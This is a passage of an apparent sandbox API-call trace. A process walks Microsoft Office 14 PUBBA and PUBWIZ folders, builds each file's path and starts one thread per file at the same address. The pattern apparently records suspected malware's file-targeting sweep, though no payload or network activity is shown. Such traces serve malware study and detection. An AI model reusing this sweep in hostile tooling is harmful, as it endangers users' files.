(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0158.420] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xf4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3B.BDR", cAlternateFileName="")) returned 1 [0158.420] wcscmp (_String1="MSPUB3B.BDR", _String2=".") returned 1 [0158.420] wcscmp (_String1="MSPUB3B.BDR", _String2="..") returned 1 [0158.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb75d0 [0158.421] wcscpy (in: _Dest=0x1ceb75d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.421] wcscat (in: _Dest=0x1ceb75d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.421] wcscat (in: _Dest=0x1ceb75d0, _Source="MSPUB3B.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR" [0158.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb75d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18 [0158.422] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xc144, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB4.BDR", cAlternateFileName="")) returned 1 [0158.422] wcscmp (_String1="MSPUB4.BDR", _String2=".") returned 1 [0158.422] wcscmp (_String1="MSPUB4.BDR", _String2="..") returned 1 [0158.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x426ef800 [0158.422] wcscpy (in: _Dest=0x426ef800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.422] wcscat (in: _Dest=0x426ef800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.422] wcscat (in: _Dest=0x426ef800, _Source="MSPUB4.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR" [0158.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf1c [0158.423] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xcfb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5A.BDR", cAlternateFileName="")) returned 1 [0158.423] wcscmp (_String1="MSPUB5A.BDR", _String2=".") returned 1 [0158.423] wcscmp (_String1="MSPUB5A.BDR", _String2="..") returned 1 [0158.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7660 [0158.424] wcscpy (in: _Dest=0x1ceb7660, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.424] wcscat (in: _Dest=0x1ceb7660, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.424] wcscat (in: _Dest=0x1ceb7660, _Source="MSPUB5A.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR" [0158.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb74 [0158.425] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x2476, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5B.BDR", cAlternateFileName="")) returned 1 [0158.425] wcscmp (_String1="MSPUB5B.BDR", _String2=".") returned 1 [0158.426] wcscmp (_String1="MSPUB5B.BDR", _String2="..") returned 1 [0158.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb76f0 [0158.426] wcscpy (in: _Dest=0x1ceb76f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.426] wcscat (in: _Dest=0x1ceb76f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.426] wcscat (in: _Dest=0x1ceb76f0, _Source="MSPUB5B.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR" [0158.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb76f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf20 [0158.427] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x7f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB6.BDR", cAlternateFileName="")) returned 1 [0158.427] wcscmp (_String1="MSPUB6.BDR", _String2=".") returned 1 [0158.427] wcscmp (_String1="MSPUB6.BDR", _String2="..") returned 1 [0158.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x426ef880 [0158.427] wcscpy (in: _Dest=0x426ef880, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.427] wcscat (in: _Dest=0x426ef880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.427] wcscat (in: _Dest=0x426ef880, _Source="MSPUB6.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR" [0158.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24 [0158.428] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x799a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB7.BDR", cAlternateFileName="")) returned 1 [0158.428] wcscmp (_String1="MSPUB7.BDR", _String2=".") returned 1 [0158.428] wcscmp (_String1="MSPUB7.BDR", _String2="..") returned 1 [0158.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x426ef900 [0158.428] wcscpy (in: _Dest=0x426ef900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.429] wcscat (in: _Dest=0x426ef900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.429] wcscat (in: _Dest=0x426ef900, _Source="MSPUB7.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR" [0158.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0158.429] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xe6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB8.BDR", cAlternateFileName="")) returned 1 [0158.430] wcscmp (_String1="MSPUB8.BDR", _String2=".") returned 1 [0158.430] wcscmp (_String1="MSPUB8.BDR", _String2="..") returned 1 [0158.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x426ef980 [0158.430] wcscpy (in: _Dest=0x426ef980, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.430] wcscat (in: _Dest=0x426ef980, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.430] wcscat (in: _Dest=0x426ef980, _Source="MSPUB8.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR" [0158.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c [0158.431] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 1 [0158.431] wcscmp (_String1="MSPUB9.BDR", _String2=".") returned 1 [0158.431] wcscmp (_String1="MSPUB9.BDR", _String2="..") returned 1 [0158.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x426efa00 [0158.431] wcscpy (in: _Dest=0x426efa00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.431] wcscat (in: _Dest=0x426efa00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.431] wcscat (in: _Dest=0x426efa00, _Source="MSPUB9.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB9.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB9.BDR" [0158.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efa00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30 [0158.432] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 0 [0158.432] FindClose (in: hFindFile=0x1ced5bc0 | out: hFindFile=0x1ced5bc0) returned 1 [0158.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e200) returned 1 [0158.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0158.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3500) returned 1 Thread: id = 2551 os_tid = 0x2048 [0155.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced8ec0 [0155.439] wcscpy (in: _Dest=0x1ced8ec0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0155.439] wcscat (in: _Dest=0x1ced8ec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0155.439] wcscat (in: _Dest=0x1ced8ec0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*" [0155.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd996c0 [0155.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5b60 [0155.459] wcscmp (_String1=".", _String2=".") returned 0 [0155.459] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.460] wcscmp (_String1="..", _String2=".") returned 1 [0155.460] wcscmp (_String1="..", _String2="..") returned 0 [0155.460] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0155.460] wcscmp (_String1="ACCSBAR.POC", _String2=".") returned 1 [0155.460] wcscmp (_String1="ACCSBAR.POC", _String2="..") returned 1 [0155.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced2e30 [0155.460] wcscpy (in: _Dest=0x1ced2e30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0155.460] wcscat (in: _Dest=0x1ced2e30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0155.460] wcscat (in: _Dest=0x1ced2e30, _Source="ACCSBAR.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC" [0158.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ac [0158.878] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x1cba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCTBOX.POC", cAlternateFileName="")) returned 1 [0158.878] wcscmp (_String1="ACCTBOX.POC", _String2=".") returned 1 [0158.878] wcscmp (_String1="ACCTBOX.POC", _String2="..") returned 1 [0158.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a45c0 [0158.879] wcscpy (in: _Dest=0x202a45c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.879] wcscat (in: _Dest=0x202a45c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.879] wcscat (in: _Dest=0x202a45c0, _Source="ACCTBOX.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC" [0158.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a45c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x265c [0158.880] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16892b00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16892b00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x5f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.DPV", cAlternateFileName="")) returned 1 [0158.880] wcscmp (_String1="AD.DPV", _String2=".") returned 1 [0158.880] wcscmp (_String1="AD.DPV", _String2="..") returned 1 [0158.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8663c0 [0158.880] wcscpy (in: _Dest=0x1b8663c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.880] wcscat (in: _Dest=0x1b8663c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.880] wcscat (in: _Dest=0x1b8663c0, _Source="AD.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV" [0158.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8663c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2660 [0158.881] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52fa4f00, ftCreationTime.dwHighDateTime=0x1c917c2, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52fa4f00, ftLastWriteTime.dwHighDateTime=0x1c917c2, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.XML", cAlternateFileName="")) returned 1 [0158.882] wcscmp (_String1="AD.XML", _String2=".") returned 1 [0158.882] wcscmp (_String1="AD.XML", _String2="..") returned 1 [0158.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866540 [0158.882] wcscpy (in: _Dest=0x1b866540, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.882] wcscat (in: _Dest=0x1b866540, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.882] wcscat (in: _Dest=0x1b866540, _Source="AD.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" [0158.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2664 [0158.896] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xb95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD98.POC", cAlternateFileName="")) returned 1 [0158.896] wcscmp (_String1="AD98.POC", _String2=".") returned 1 [0158.896] wcscmp (_String1="AD98.POC", _String2="..") returned 1 [0158.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42307a00 [0158.896] wcscpy (in: _Dest=0x42307a00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.896] wcscat (in: _Dest=0x42307a00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.896] wcscat (in: _Dest=0x42307a00, _Source="AD98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC" [0158.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2668 [0158.897] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADRESPEL.POC", cAlternateFileName="")) returned 1 [0158.897] wcscmp (_String1="ADRESPEL.POC", _String2=".") returned 1 [0158.897] wcscmp (_String1="ADRESPEL.POC", _String2="..") returned 1 [0158.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd170 [0158.897] wcscpy (in: _Dest=0x1cddd170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.897] wcscat (in: _Dest=0x1cddd170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.897] wcscat (in: _Dest=0x1cddd170, _Source="ADRESPEL.POC" 